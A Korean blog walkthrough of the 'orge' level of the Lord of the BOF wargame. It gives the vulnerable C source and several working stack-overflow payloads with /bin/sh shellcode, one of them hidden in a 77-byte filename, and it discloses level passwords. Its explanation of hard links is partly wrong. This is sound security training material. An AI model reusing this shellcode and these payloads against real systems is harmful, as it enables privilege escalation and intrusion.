반응형

login as : darkelf

password : kernel crashed


문제 확인

/*
        The Lord of the BOF : The Fellowship of the BOF
        - orge
        - check argv[0]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// here is changed!
	if(strlen(argv[0]) != 77){
                printf("argv[0] error\n");
                exit(0);
	}

	// egghunter
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	// check the length of argument
	if(strlen(argv[1]) > 48){
		printf("argument is too long!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

 

1. 커맨드라인 인자가 있어야 한다.

2. argv[0]의 길이가 77이어야 한다.

3. 환경 변수는 사용할 수 없다.

4. 커맨드라인 인자의 48번째 값은 스택 주소의 시작 byte를 의미하는 '\xbf'이어야 한다.

5. 커맨드라인 인자의 길이가 48보다 크면 안된다.

6. buffer[40]에 셸코드를 저장해둘 수 없다.

 

2번 조건에서 argv[0]의 길이가 77이어야 한다는 것은 실행 파일의 길이가 77byte여야 한다는 것이다.

 

이는 4가지 방법으로 해결할 수 있다.

1. mv 명령으로 실행 파일의 이름을 바꾼다.

2. ".//////////////orge"와 같이 기입한다.

3. 심볼릭 링크를 이용한다.

4. 파일 이름을 NOP(27) + shellcode(48) 구성으로 바꾼다.

 

파일의 이름은 해결됐지만, 셸코드를 어디에 저장해두고 해당 주소로 반환하게 할 것인지가 문제이다.

 

이 문제에서는 buffer[40]에는 못 담아두도록 마지막에 memset() 함수를 이용해 0으로 초기화 해버리기 때문이다.

 

하지만 이 역시 간단하게 해결되는데 커맨드라인 인자로 입력한 값도 스택 어딘가에 저장이 되는데 그 어딘가는 바로 argv이므로 RET 주소 부분을 argv의 주소로 덮으면 된다.

 

이 문제에서 커맨드라인 인자의 개수는 정해져있지 않으므로 argv[1]의 주소를 이용할 수도 argv[2]의 주소를 이용할 수도 심지어는 실행 파일 이름의 길이를 해결하는 4가지 방법 중 4번째 방법을 적용한다면 argv[0]의 주소를 이용할 수도 있다.

 

참고) 하드 링크와 심볼릭 링크
먼저, 하드 링크와 심볼릭 링크를 이해하기 전에 리눅스에는 i-node 라는 것이 있다는 것을 알아야 한다.
i-node는 구조체로 파일에 대한 거의 모든 정보들이 담겨있는데, 이 정보들 중 inode 번호라는 것이 있고, 이는 각 i-node만의 고유 번호이다.

소프트 링크 혹은 심볼릭 링크라고 불리는 이 링크 방식은 windows의 바로 가기 기능과 비슷하다.
심볼릭 링크는 원본 파일의 i-node 번호와 심볼릭 링크 파일의 i-node 번호가 다르다.

소프트 링크가 그저 원본 파일에 대한 정보만을 가지고 있다면, 하드 링크는 원본 파일을 복사한 다음 이의 사본을 생성한다.
그리고 하드 링크는 원본 파일의 i-node 번호와 심볼릭 링크 파일의 i-node 번호가 같다.

소프트 링크는 바로 가기 기능과 비슷한 것이고, 하드 링크는 원본 파일을 복사하여 사본을 생성하기 때문에 여기서 이 둘의 차이점이 있는데, 소프트 링크는 원본이 삭제되면 사용할 수 없지만, 하드 링크는 원본을 복사한 것이기 때문에 원본이 삭제되더라도 원본과 동일한 내용의 파일을 가지고 있으므로 문제없이 원본 파일처럼 사용할 수 있다.

dummy 값 확인

 

지역 변수의 공간으로 44byte를 할당하는 것으로 보아 dummy 값은 없다.


core 파일 생성을 위해 orge 복사해두기

 

core 파일은 리눅스에서 실행 파일이 실행 도중 에러가 나며 종료했을 때 에러 정보를 담고 있는 파일이다.

 

 

추후에 RET 부분에 의도적으로 "\xbf\xbf\xbf\xbf" 이라는 값을 넣어 segmentation fault 에러를 발생시키고 그로 인해 생성된 core 파일을 분석하여 RET 부분에 덮어쓸 주소를 구하게 될 것인데

 

core 파일이 생성되려면 자신의 권한에서 segmentation fault 에러가 발생해야 한다.

 

현재 orge 파일은 darkelf가 아닌 orge 사용자의 권한이므로 segmentation fault 에러가 발생하더라도 core 파일이 생성되지 않을 것이다.

 

그러므로 위와 같이 orge2 파일로 복사해둔다.

 

테스트 할 때는 orge2 파일로 하고, 실제 공격은 orge 파일에 하여 password를 얻을 수 있다.


파일의 이름 77byte로 만들기

1. "./////////" 이용

$(printf "."; for i in `seq 1 72`; do printf "/"; done; printf "orge";)

 

2. 심볼릭 링크 이용

ln -s orge `python -c 'print "org" + "e" * 72'`
ll

 

참고) 파일 이름 길이를 75byte만 한 이유는 argv[0]의 길이가 77byte여야 하는데 이때 "./" 문자도 포함된 byte 수 이므로 파일 이름을 75byte만 하여 "./" 문자와 결합했을 때 77byte가 되게 한 것이다.

 

3. 파일 이름을 NOP(27) + shellcode(48) 구성

mv orge `python -c 'print "\x90" * 27 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`

 

실행 파일 이름을 NOP + shellcode 형식으로 바꿀 때는 이전의 LEVEL들에서 사용했던 셸코드와는 다른 셸코드를 사용했다.

 

그 이유는 셸코드 안에 있는 \x2f는 '/' 슬래시로 해석되기 때문에 디렉토리로 인식하므로 \x2f가 포함되지 않은 셸코드를 사용한 것이다.


argv[0]의 주소를 이용

mv `python -c 'print "\x90" * 27 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` orge
mv orge2 `python -c 'print "\x90" * 27 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`

 

먼저 core 파일 생성을 위해 orge2 파일의 이름을 위와 같이 nop + shellcode 형식으로 바꿔준다.

 

참고) 기존의 이름이 변경된 orge 파일은 다시 orge 이름으로 변경해줘야 충돌없이 orge2 파일의 이름을 변경할 수 있다.

 

./`python -c 'print "\x90" * 27 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "\x90" * 44 + "\xbf\xbf\xbf\xbf"'`

 

위의 명령으로 segmentation fault 에러를 발생시켜 core 파일을 생성한다.

 

gdb -q -c core

x/40x $esp-48

 

위와 같이 core 파일을 분석해보면 하얀 박스 부분은 buffer[40] 부분이고, 파란 박스는 SFP 부분이며, 주황 박스는 RET 부분이고, 빨간 박스가 argv 부분이다.

 

argv의 주소를 따라가면 argv[0]과 argv[1]의 주소가 나오는데, 그 중 argv[0]을 이용할 것이므로 argv[0]의 주소는 0xbffffd17이다.

 

mv `python -c 'print "\x90" * 27 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` orge2

 

이제 orge 파일에 공격을 위해 orge2 파일의 이름을 원래대로 돌려놓고

 

mv orge `python -c 'print "\x90" * 27 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`

 

orge 파일의 이름을 변경한다.

 

./`python -c 'print "\x90" * 27 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "\x90" * 44 + "\x17\xfd\xff\xbf"'`

 

그리고 위와 같이 테스트 했던 스크립트의 RET 부분을 core 파일에서 알아낸 주소로 바꿔서 공격하면 orge의 password timewalker를 알아낼 수 있다.

 

mv `python -c 'print "\x90" * 27 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` orge

 

아래의 다른 방식의 풀이를 위해 orge 파일의 이름을 원래대로 돌려놓는다.


argv[1]의 주소를 이용

argv[1]과 argv[2]의 주소를 이용할 때는 실행 파일 길이를 "./////"를 적용하는 방법과 심볼릭 링크를 적용하는 방법으로 나눠서 해결할 수 있다.

 

전체적인 payload는 같은 구성이지만 "./////"를 사용하느냐 심볼릭 링크를 사용하느냐의 차이일 뿐이다.

 

$(printf "."; for i in `seq 1 71`; do printf "/"; done; printf "orge2";) `python -c 'print + "\x90" * 10 +  "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" + "\xbf\xbf\xbf\xbf"'`

 

RET 부분에 덮어쓸 argv[1]의 주소를 알아내기 위해 core 파일을 생성한다.

 

gdb -q -c core

x/40x $esp-48

 

core 파일을 분석해보면 argv[1]의 주소는 0xbffffd65이다.

 

$(printf "."; for i in `seq 1 72`; do printf "/"; done; printf "orge";) `python -c 'print + "\x90" * 10 +  "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" + "\x65\xfd\xff\xbf"'`

 

테스트 했던 payload를 수정하여 orge 파일에 공격하면 orge의 password인 timewalker를 알아낼 수 있다.

 

`python -c 'print "./org" + "e" * 72'` `python -c 'print + "\x90" * 10 +  "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" + "\x65\xfd\xff\xbf"'`

 

payload는 위와 같이 심볼릭 링크를 이용하는 것을 써도 공격에 성공한다.


argv[2]의 주소를 이용

 

argv[2]의 주소를 이용할 때도 실행 파일 길이를 "./////"를 적용하는 방법과 심볼릭 링크를 적용하는 방법으로 나눠서 해결할 수 있고, 전체적인 payload는 같은 구성이지만 "./////"를 사용하느냐 심볼릭 링크를 사용하느냐의 차이일 뿐이다.

 

$(printf "."; for i in `seq 1 71`; do printf "/"; done; printf "orge2";) `python -c 'print "\x90" * 44 + "\xbf\xbf\xbf\xbf"'` `python -c 'print "\x90" * 10 + "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`

 

RET 부분에 덮어쓸 argv[2]의 주소를 알아내기 위해 core 파일을 생성한다.

 

 

core 파일을 분석하면 argv[2]의 주소는 0xbffffd66이다.

 

$(printf "."; for i in `seq 1 72`; do printf "/"; done; printf "orge";) `python -c 'print "\x90" * 44 + "\x66\xfd\xff\xbf"'` `python -c 'print "\x90" * 10 + \x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`

 

테스트 했던 payload를 수정하여 orge 파일에 공격하면 orge의 password인 timewalker를 알아낼 수 있다.

 

`python -c 'print "./org" + "e" * 72'` `python -c 'print "\x90" * 44 + "\x66\xfd\xff\xbf"'` `python -c 'print "\x90" * 10 + \x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`

 

payload는 위와 같이 심볼릭 링크를 이용하는 것을 써도 공격에 성공한다.

 


\x2f가 없는 셸코드 출처 : https://hackhijack64.tistory.com/38

inode와 심볼릭 링크 그리고 하드 링크 : https://reakwon.tistory.com/142

하드 링크와 심볼릭 링크의 차이점 : http://www.metalpen.net/blog/?p=439

반응형

+ Recent posts